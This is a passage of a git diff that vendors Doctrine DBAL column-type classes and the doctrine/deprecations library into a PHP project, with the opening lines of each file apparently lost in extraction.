+ * @param T $value + * + * @return (T is null ? null : DateTimeInterface) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateTimeTzImmutableType::class, + __FUNCTION__, + ); + } + + if ($value === null || $value instanceof DateTimeInterface) { + return $value; + } + + $dateTime = DateTime::createFromFormat($platform->getDateTimeTzFormatString(), $value); + if ($dateTime !== false) { + return $dateTime; + } + + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateTimeTzFormatString(), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateType.php b/vendor/doctrine/dbal/src/Types/DateType.php new file mode 100644 index 000000000..842e8bd09 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateType.php @@ -0,0 +1,104 @@ +getDateTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @psalm-param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return $value; + } + + if ($value instanceof DateTimeInterface) { + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateImmutableType::class, + __FUNCTION__, + ); + } + + return $value->format($platform->getDateFormatString()); + } + + throw ConversionException::conversionFailedInvalidType($value, $this->getName(), ['null', DateTime::class]); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeInterface) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateImmutableType::class, + __FUNCTION__, + ); + } + + if ($value === null || $value instanceof DateTimeInterface) { + return $value; + } + + $dateTime = DateTime::createFromFormat('!' . $platform->getDateFormatString(), $value); + if ($dateTime !== false) { + return $dateTime; + } + + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateFormatString(), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Types/DecimalType.php b/vendor/doctrine/dbal/src/Types/DecimalType.php new file mode 100644 index 000000000..308134b08 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DecimalType.php @@ -0,0 +1,47 @@ +getDecimalTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + // Some drivers starting from PHP 8.1 can represent decimals as float/int + // See also: https://github.com/doctrine/dbal/pull/4818 + if ((PHP_VERSION_ID >= 80100 || $platform instanceof SqlitePlatform) && (is_float($value) || is_int($value))) { + return (string) $value; + } + + return $value; + } +} diff --git a/vendor/doctrine/dbal/src/Types/FloatType.php b/vendor/doctrine/dbal/src/Types/FloatType.php new file mode 100644 index 000000000..e01b77413 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/FloatType.php @@ -0,0 +1,38 @@ +getFloatDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : float) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $value === null ? null : (float) $value; + } +} diff --git a/vendor/doctrine/dbal/src/Types/GuidType.php b/vendor/doctrine/dbal/src/Types/GuidType.php new file mode 100644 index 000000000..3c8b7f4f8 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/GuidType.php @@ -0,0 +1,45 @@ +getGuidTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::GUID; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return ! $platform->hasNativeGuidType(); + } +} diff --git a/vendor/doctrine/dbal/src/Types/IntegerType.php b/vendor/doctrine/dbal/src/Types/IntegerType.php new file mode 100644 index 000000000..7c2d7110d --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/IntegerType.php @@ -0,0 +1,50 @@ +getIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : int) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $value === null ? null : (int) $value; + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::INTEGER; + } +} diff --git a/vendor/doctrine/dbal/src/Types/JsonType.php b/vendor/doctrine/dbal/src/Types/JsonType.php new file mode 100644 index 000000000..27f872c88 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/JsonType.php @@ -0,0 +1,96 @@ +getJsonTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + try { + return json_encode($value, JSON_THROW_ON_ERROR | JSON_PRESERVE_ZERO_FRACTION); + } catch (JsonException $e) { + throw ConversionException::conversionFailedSerialization($value, 'json', $e->getMessage(), $e); + } + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value === '') { + return null; + } + + if (is_resource($value)) { + $value = stream_get_contents($value); + } + + try { + return json_decode($value, true, 512, JSON_THROW_ON_ERROR); + } catch (JsonException $e) { + throw ConversionException::conversionFailed($value, $this->getName(), $e); + } + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::JSON; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return ! $platform->hasNativeJsonType(); + } +} diff --git a/vendor/doctrine/dbal/src/Types/ObjectType.php b/vendor/doctrine/dbal/src/Types/ObjectType.php new file mode 100644 index 000000000..497e9c407 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/ObjectType.php @@ -0,0 +1,88 @@ +getClobTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param mixed $value + * + * @return string + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + return serialize($value); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + $value = is_resource($value) ? stream_get_contents($value) : $value; + + set_error_handler(function (int $code, string $message): bool { + throw ConversionException::conversionFailedUnserialization($this->getName(), $message); + }); + + try { + return unserialize($value); + } finally { + restore_error_handler(); + } + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::OBJECT; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/PhpDateTimeMappingType.php b/vendor/doctrine/dbal/src/Types/PhpDateTimeMappingType.php new file mode 100644 index 000000000..456585053 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/PhpDateTimeMappingType.php @@ -0,0 +1,12 @@ +getClobTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param mixed $value + * + * @return string|null + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if (! is_array($value) || count($value) === 0) { + return null; + } + + return implode(',', $value); + } + + /** + * {@inheritDoc} + * + * @param mixed $value + * + * @return list + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return []; + } + + $value = is_resource($value) ? stream_get_contents($value) : $value; + + return explode(',', $value); + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::SIMPLE_ARRAY; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/SmallIntType.php b/vendor/doctrine/dbal/src/Types/SmallIntType.php new file mode 100644 index 000000000..2c8567a11 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/SmallIntType.php @@ -0,0 +1,50 @@ +getSmallIntTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : int) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $value === null ? null : (int) $value; + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::INTEGER; + } +} diff --git a/vendor/doctrine/dbal/src/Types/StringType.php b/vendor/doctrine/dbal/src/Types/StringType.php new file mode 100644 index 000000000..1992e8fa4 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/StringType.php @@ -0,0 +1,27 @@ +getStringTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::STRING; + } +} diff --git a/vendor/doctrine/dbal/src/Types/TextType.php b/vendor/doctrine/dbal/src/Types/TextType.php new file mode 100644 index 000000000..d060bb2da --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/TextType.php @@ -0,0 +1,38 @@ +getClobTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return is_resource($value) ? stream_get_contents($value) : $value; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::TEXT; + } +} diff --git a/vendor/doctrine/dbal/src/Types/TimeImmutableType.php b/vendor/doctrine/dbal/src/Types/TimeImmutableType.php new file mode 100644 index 000000000..9373f5913 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/TimeImmutableType.php @@ -0,0 +1,92 @@ +format($platform->getTimeFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeImmutable) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTimeImmutable) { + return $value; + } + + $dateTime = DateTimeImmutable::createFromFormat('!' . $platform->getTimeFormatString(), $value); + + if ($dateTime !== false) { + return $dateTime; + } + + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getTimeFormatString(), + ); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/TimeType.php b/vendor/doctrine/dbal/src/Types/TimeType.php new file mode 100644 index 000000000..7356fc206 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/TimeType.php @@ -0,0 +1,104 @@ +getTimeTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return $value; + } + + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + TimeImmutableType::class, + __FUNCTION__, + ); + } + + if ($value instanceof DateTimeInterface) { + return $value->format($platform->getTimeFormatString()); + } + + throw ConversionException::conversionFailedInvalidType($value, $this->getName(), ['null', DateTime::class]); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeInterface) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + TimeImmutableType::class, + __FUNCTION__, + ); + } + + if ($value === null || $value instanceof DateTimeInterface) { + return $value; + } + + $dateTime = DateTime::createFromFormat('!' . $platform->getTimeFormatString(), $value); + if ($dateTime !== false) { + return $dateTime; + } + + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getTimeFormatString(), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Types/Type.php b/vendor/doctrine/dbal/src/Types/Type.php new file mode 100644 index 000000000..7613811e9 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/Type.php @@ -0,0 +1,296 @@ + ArrayType::class, + Types::ASCII_STRING => AsciiStringType::class, + Types::BIGINT => BigIntType::class, + Types::BINARY => BinaryType::class, + Types::BLOB => BlobType::class, + Types::BOOLEAN => BooleanType::class, + Types::DATE_MUTABLE => DateType::class, + Types::DATE_IMMUTABLE => DateImmutableType::class, + Types::DATEINTERVAL => DateIntervalType::class, + Types::DATETIME_MUTABLE => DateTimeType::class, + Types::DATETIME_IMMUTABLE => DateTimeImmutableType::class, + Types::DATETIMETZ_MUTABLE => DateTimeTzType::class, + Types::DATETIMETZ_IMMUTABLE => DateTimeTzImmutableType::class, + Types::DECIMAL => DecimalType::class, + Types::FLOAT => FloatType::class, + Types::GUID => GuidType::class, + Types::INTEGER => IntegerType::class, + Types::JSON => JsonType::class, + Types::OBJECT => ObjectType::class, + Types::SIMPLE_ARRAY => SimpleArrayType::class, + Types::SMALLINT => SmallIntType::class, + Types::STRING => StringType::class, + Types::TEXT => TextType::class, + Types::TIME_MUTABLE => TimeType::class, + Types::TIME_IMMUTABLE => TimeImmutableType::class, + ]; + + private static ?TypeRegistry $typeRegistry = null; + + /** @internal Do not instantiate directly - use {@see Type::addType()} method instead. */ + final public function __construct() + { + } + + /** + * Converts a value from its PHP representation to its database representation + * of this type. + * + * @param mixed $value The value to convert. + * @param AbstractPlatform $platform The currently used database platform. + * + * @return mixed The database representation of the value. + * + * @throws ConversionException + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + return $value; + } + + /** + * Converts a value from its database representation to its PHP representation + * of this type. + * + * @param mixed $value The value to convert. + * @param AbstractPlatform $platform The currently used database platform. + * + * @return mixed The PHP representation of the value. + * + * @throws ConversionException + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $value; + } + + /** + * Gets the SQL declaration snippet for a column of this type. + * + * @param mixed[] $column The column definition + * @param AbstractPlatform $platform The currently used database platform. + * + * @return string + */ + abstract public function getSQLDeclaration(array $column, AbstractPlatform $platform); + + /** + * Gets the name of this type. + * + * @deprecated this method will be removed in Doctrine DBAL 4.0, + * use {@see TypeRegistry::lookupName()} instead. + * + * @return string + */ + abstract public function getName(); + + final public static function getTypeRegistry(): TypeRegistry + { + return self::$typeRegistry ??= self::createTypeRegistry(); + } + + private static function createTypeRegistry(): TypeRegistry + { + $instances = []; + + foreach (self::BUILTIN_TYPES_MAP as $name => $class) { + $instances[$name] = new $class(); + } + + return new TypeRegistry($instances); + } + + /** + * Factory method to create type instances. + * Type instances are implemented as flyweights. + * + * @param string $name The name of the type (as returned by getName()). + * + * @return Type + * + * @throws Exception + */ + public static function getType($name) + { + return self::getTypeRegistry()->get($name); + } + + /** + * Finds a name for the given type. + * + * @throws Exception + */ + public static function lookupName(self $type): string + { + return self::getTypeRegistry()->lookupName($type); + } + + /** + * Adds a custom type to the type map. + * + * @param string $name The name of the type. This should correspond to what getName() returns. + * @param class-string $className The class name of the custom type. + * + * @return void + * + * @throws Exception + */ + public static function addType($name, $className) + { + self::getTypeRegistry()->register($name, new $className()); + } + + /** + * Checks if exists support for a type. + * + * @param string $name The name of the type. + * + * @return bool TRUE if type is supported; FALSE otherwise. + */ + public static function hasType($name) + { + return self::getTypeRegistry()->has($name); + } + + /** + * Overrides an already defined type to use a different implementation. + * + * @param string $name + * @param class-string $className + * + * @return void + * + * @throws Exception + */ + public static function overrideType($name, $className) + { + self::getTypeRegistry()->override($name, new $className()); + } + + /** + * Gets the (preferred) binding type for values of this type that + * can be used when binding parameters to prepared statements. + * + * This method should return one of the {@see ParameterType} constants. + * + * @return int + */ + public function getBindingType() + { + return ParameterType::STRING; + } + + /** + * Gets the types array map which holds all registered types and the corresponding + * type class + * + * @return array + */ + public static function getTypesMap() + { + return array_map( + static function (Type $type): string { + return get_class($type); + }, + self::getTypeRegistry()->getMap(), + ); + } + + /** + * Does working with this column require SQL conversion functions? + * + * This is a metadata function that is required for example in the ORM. + * Usage of {@see convertToDatabaseValueSQL} and + * {@see convertToPHPValueSQL} works for any type and mostly + * does nothing. This method can additionally be used for optimization purposes. + * + * @deprecated Consumers should call {@see convertToDatabaseValueSQL} and {@see convertToPHPValueSQL} + * regardless of the type. + * + * @return bool + */ + public function canRequireSQLConversion() + { + return false; + } + + /** + * Modifies the SQL expression (identifier, parameter) to convert to a database value. + * + * @param string $sqlExpr + * + * @return string + */ + public function convertToDatabaseValueSQL($sqlExpr, AbstractPlatform $platform) + { + return $sqlExpr; + } + + /** + * Modifies the SQL expression (identifier, parameter) to convert to a PHP value. + * + * @param string $sqlExpr + * @param AbstractPlatform $platform + * + * @return string + */ + public function convertToPHPValueSQL($sqlExpr, $platform) + { + return $sqlExpr; + } + + /** + * Gets an array of database types that map to this Doctrine type. + * + * @return string[] + */ + public function getMappedDatabaseTypes(AbstractPlatform $platform) + { + return []; + } + + /** + * If this Doctrine Type maps to an already mapped database type, + * reverse schema engineering can't tell them apart. You need to mark + * one of those types as commented, which will have Doctrine use an SQL + * comment to typehint the actual Doctrine Type. + * + * @deprecated + * + * @return bool + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return false; + } +} diff --git a/vendor/doctrine/dbal/src/Types/TypeRegistry.php b/vendor/doctrine/dbal/src/Types/TypeRegistry.php new file mode 100644 index 000000000..9b64c6faf --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/TypeRegistry.php @@ -0,0 +1,127 @@ + Map of type names and their corresponding flyweight objects. */ + private array $instances; + /** @var array */ + private array $instancesReverseIndex; + + /** @param array $instances */ + public function __construct(array $instances = []) + { + $this->instances = []; + $this->instancesReverseIndex = []; + foreach ($instances as $name => $type) { + $this->register($name, $type); + } + } + + /** + * Finds a type by the given name. + * + * @throws Exception + */ + public function get(string $name): Type + { + $type = $this->instances[$name] ?? null; + if ($type === null) { + throw Exception::unknownColumnType($name); + } + + return $type; + } + + /** + * Finds a name for the given type. + * + * @throws Exception + */ + public function lookupName(Type $type): string + { + $name = $this->findTypeName($type); + + if ($name === null) { + throw Exception::typeNotRegistered($type); + } + + return $name; + } + + /** + * Checks if there is a type of the given name. + */ + public function has(string $name): bool + { + return isset($this->instances[$name]); + } + + /** + * Registers a custom type to the type map. + * + * @throws Exception + */ + public function register(string $name, Type $type): void + { + if (isset($this->instances[$name])) { + throw Exception::typeExists($name); + } + + if ($this->findTypeName($type) !== null) { + throw Exception::typeAlreadyRegistered($type); + } + + $this->instances[$name] = $type; + $this->instancesReverseIndex[spl_object_id($type)] = $name; + } + + /** + * Overrides an already defined type to use a different implementation. + * + * @throws Exception + */ + public function override(string $name, Type $type): void + { + $origType = $this->instances[$name] ?? null; + if ($origType === null) { + throw Exception::typeNotFound($name); + } + + if (($this->findTypeName($type) ?? $name) !== $name) { + throw Exception::typeAlreadyRegistered($type); + } + + unset($this->instancesReverseIndex[spl_object_id($origType)]); + $this->instances[$name] = $type; + $this->instancesReverseIndex[spl_object_id($type)] = $name; + } + + /** + * Gets the map of all registered types and their corresponding type instances. + * + * @internal + * + * @return array + */ + public function getMap(): array + { + return $this->instances; + } + + private function findTypeName(Type $type): ?string + { + return $this->instancesReverseIndex[spl_object_id($type)] ?? null; + } +} diff --git a/vendor/doctrine/dbal/src/Types/Types.php b/vendor/doctrine/dbal/src/Types/Types.php new file mode 100644 index 000000000..54b0dfecc --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/Types.php @@ -0,0 +1,47 @@ +format($platform->getDateTimeFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeImmutable) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTimeImmutable) { + return $value; + } + + try { + $dateTime = new DateTimeImmutable($value); + } catch (Exception $e) { + throw ConversionException::conversionFailed($value, $this->getName(), $e); + } + + return $dateTime; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/VarDateTimeType.php b/vendor/doctrine/dbal/src/Types/VarDateTimeType.php new file mode 100644 index 000000000..35ad40328 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/VarDateTimeType.php @@ -0,0 +1,42 @@ + 0 it is necessary to use this type. + */ +class VarDateTimeType extends DateTimeType +{ + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeInterface) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTime) { + return $value; + } + + try { + $dateTime = new DateTime($value); + } catch (Exception $e) { + throw ConversionException::conversionFailed($value, $this->getName(), $e); + } + + return $dateTime; + } +} diff --git a/vendor/doctrine/dbal/src/VersionAwarePlatformDriver.php b/vendor/doctrine/dbal/src/VersionAwarePlatformDriver.php new file mode 100644 index 000000000..ffcfcd636 --- /dev/null +++ b/vendor/doctrine/dbal/src/VersionAwarePlatformDriver.php @@ -0,0 +1,30 @@ +|null */ + private static $type; + + /** @var LoggerInterface|null */ + private static $logger; + + /** @var array */ + private static $ignoredPackages = []; + + /** @var array */ + private static $triggeredDeprecations = []; + + /** @var array */ + private static $ignoredLinks = []; + + /** @var bool */ + private static $deduplication = true; + + /** + * Trigger a deprecation for the given package and identfier. + * + * The link should point to a Github issue or Wiki entry detailing the + * deprecation. It is additionally used to de-duplicate the trigger of the + * same deprecation during a request. + * + * @param float|int|string $args + */ + public static function trigger(string $package, string $link, string $message, ...$args): void + { + $type = self::$type ?? self::getTypeFromEnv(); + + if ($type === self::TYPE_NONE) { + return; + } + + if (isset(self::$ignoredLinks[$link])) { + return; + } + + if (array_key_exists($link, self::$triggeredDeprecations)) { + self::$triggeredDeprecations[$link]++; + } else { + self::$triggeredDeprecations[$link] = 1; + } + + if (self::$deduplication === true && self::$triggeredDeprecations[$link] > 1) { + return; + } + + if (isset(self::$ignoredPackages[$package])) { + return; + } + + $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + + $message = sprintf($message, ...$args); + + self::delegateTriggerToBackend($message, $backtrace, $link, $package); + } + + /** + * Trigger a deprecation for the given package and identifier when called from outside. + * + * "Outside" means we assume that $package is currently installed as a + * dependency and the caller is not a file in that package. When $package + * is installed as a root package then deprecations triggered from the + * tests folder are also considered "outside". + * + * This deprecation method assumes that you are using Composer to install + * the dependency and are using the default /vendor/ folder and not a + * Composer plugin to change the install location. The assumption is also + * that $package is the exact composer packge name. + * + * Compared to {@link trigger()} this method causes some overhead when + * deprecation tracking is enabled even during deduplication, because it + * needs to call {@link debug_backtrace()} + * + * @param float|int|string $args + */ + public static function triggerIfCalledFromOutside(string $package, string $link, string $message, ...$args): void + { + $type = self::$type ?? self::getTypeFromEnv(); + + if ($type === self::TYPE_NONE) { + return; + } + + $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + + // first check that the caller is not from a tests folder, in which case we always let deprecations pass + if (isset($backtrace[1]['file'], $backtrace[0]['file']) && strpos($backtrace[1]['file'], DIRECTORY_SEPARATOR . 'tests' . DIRECTORY_SEPARATOR) === false) { + $path = DIRECTORY_SEPARATOR . 'vendor' . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $package) . DIRECTORY_SEPARATOR; + + if (strpos($backtrace[0]['file'], $path) === false) { + return; + } + + if (strpos($backtrace[1]['file'], $path) !== false) { + return; + } + } + + if (isset(self::$ignoredLinks[$link])) { + return; + } + + if (array_key_exists($link, self::$triggeredDeprecations)) { + self::$triggeredDeprecations[$link]++; + } else { + self::$triggeredDeprecations[$link] = 1; + } + + if (self::$deduplication === true && self::$triggeredDeprecations[$link] > 1) { + return; + } + + if (isset(self::$ignoredPackages[$package])) { + return; + } + + $message = sprintf($message, ...$args); + + self::delegateTriggerToBackend($message, $backtrace, $link, $package); + } + + /** + * @param list $backtrace + */ + private static function delegateTriggerToBackend(string $message, array $backtrace, string $link, string $package): void + { + $type = self::$type ?? self::getTypeFromEnv(); + + if (($type & self::TYPE_PSR_LOGGER) > 0) { + $context = [ + 'file' => $backtrace[0]['file'] ?? null, + 'line' => $backtrace[0]['line'] ?? null, + 'package' => $package, + 'link' => $link, + ]; + + assert(self::$logger !== null); + + self::$logger->notice($message, $context); + } + + if (! (($type & self::TYPE_TRIGGER_ERROR) > 0)) { + return; + } + + $message .= sprintf( + ' (%s:%d called by %s:%d, %s, package %s)', + self::basename($backtrace[0]['file'] ?? 'native code'), + $backtrace[0]['line'] ?? 0, + self::basename($backtrace[1]['file'] ?? 'native code'), + $backtrace[1]['line'] ?? 0, + $link, + $package + ); + + @trigger_error($message, E_USER_DEPRECATED); + } + + /** + * A non-local-aware version of PHPs basename function. + */ + private static function basename(string $filename): string + { + $pos = strrpos($filename, DIRECTORY_SEPARATOR); + + if ($pos === false) { + return $filename; + } + + return substr($filename, $pos + 1); + } + + public static function enableTrackingDeprecations(): void + { + self::$type = self::$type ?? 0; + self::$type |= self::TYPE_TRACK_DEPRECATIONS; + } + + public static function enableWithTriggerError(): void + { + self::$type = self::$type ?? 0; + self::$type |= self::TYPE_TRIGGER_ERROR; + } + + public static function enableWithPsrLogger(LoggerInterface $logger): void + { + self::$type = self::$type ?? 0; + self::$type |= self::TYPE_PSR_LOGGER; + self::$logger = $logger; + } + + public static function withoutDeduplication(): void + { + self::$deduplication = false; + } + + public static function disable(): void + { + self::$type = self::TYPE_NONE; + self::$logger = null; + self::$deduplication = true; + self::$ignoredLinks = []; + + foreach (self::$triggeredDeprecations as $link => $count) { + self::$triggeredDeprecations[$link] = 0; + } + } + + public static function ignorePackage(string $packageName): void + { + self::$ignoredPackages[$packageName] = true; + } + + public static function ignoreDeprecations(string ...$links): void + { + foreach ($links as $link) { + self::$ignoredLinks[$link] = true; + } + } + + public static function getUniqueTriggeredDeprecationsCount(): int + { + return array_reduce(self::$triggeredDeprecations, static function (int $carry, int $count) { + return $carry + $count; + }, 0); + } + + /** + * Returns each triggered deprecation link identifier and the amount of occurrences. + * + * @return array + */ + public static function getTriggeredDeprecations(): array + { + return self::$triggeredDeprecations; + } + + /** + * @return int-mask-of + */ + private static function getTypeFromEnv(): int + { + switch ($_SERVER['DOCTRINE_DEPRECATIONS'] ?? $_ENV['DOCTRINE_DEPRECATIONS'] ?? null) { + case 'trigger': + self::$type = self::TYPE_TRIGGER_ERROR; + break; + + case 'track': + self::$type = self::TYPE_TRACK_DEPRECATIONS; + break; + + default: + self::$type = self::TYPE_NONE; + break; + } + + return self::$type; + } +} diff --git a/vendor/doctrine/deprecations/lib/Doctrine/Deprecations/PHPUnit/VerifyDeprecations.php b/vendor/doctrine/deprecations/lib/Doctrine/Deprecations/PHPUnit/VerifyDeprecations.php new file mode 100644 index 000000000..4c3366a97 --- /dev/null +++ b/vendor/doctrine/deprecations/lib/Doctrine/Deprecations/PHPUnit/VerifyDeprecations.php @@ -0,0 +1,66 @@ + */ + private $doctrineDeprecationsExpectations = []; + + /** @var array */ + private $doctrineNoDeprecationsExpectations = []; + + public function expectDeprecationWithIdentifier(string $identifier): void + { + $this->doctrineDeprecationsExpectations[$identifier] = Deprecation::getTriggeredDeprecations()[$identifier] ?? 0; + } + + public function expectNoDeprecationWithIdentifier(string $identifier): void + { + $this->doctrineNoDeprecationsExpectations[$identifier] = Deprecation::getTriggeredDeprecations()[$identifier] ?? 0; + } + + /** + * @before + */ + public function enableDeprecationTracking(): void + { + Deprecation::enableTrackingDeprecations(); + } + + /** + * @after + */ + public function verifyDeprecationsAreTriggered(): void + { + foreach ($this->doctrineDeprecationsExpectations as $identifier => $expectation) { + $actualCount = Deprecation::getTriggeredDeprecations()[$identifier] ?? 0; + + $this->assertTrue( + $actualCount > $expectation, + sprintf( + "Expected deprecation with identifier '%s' was not triggered by code executed in test.", + $identifier + ) + ); + } + + foreach ($this->doctrineNoDeprecationsExpectations as $identifier => $expectation) { + $actualCount = Deprecation::getTriggeredDeprecations()[$identifier] ?? 0; + + $this->assertTrue( + $actualCount === $expectation, + sprintf( + "Expected deprecation with identifier '%s' was triggered by code executed in test, but expected not to.", + $identifier + ) + ); + } + } +} diff --git a/vendor/doctrine/event-manager/composer.json 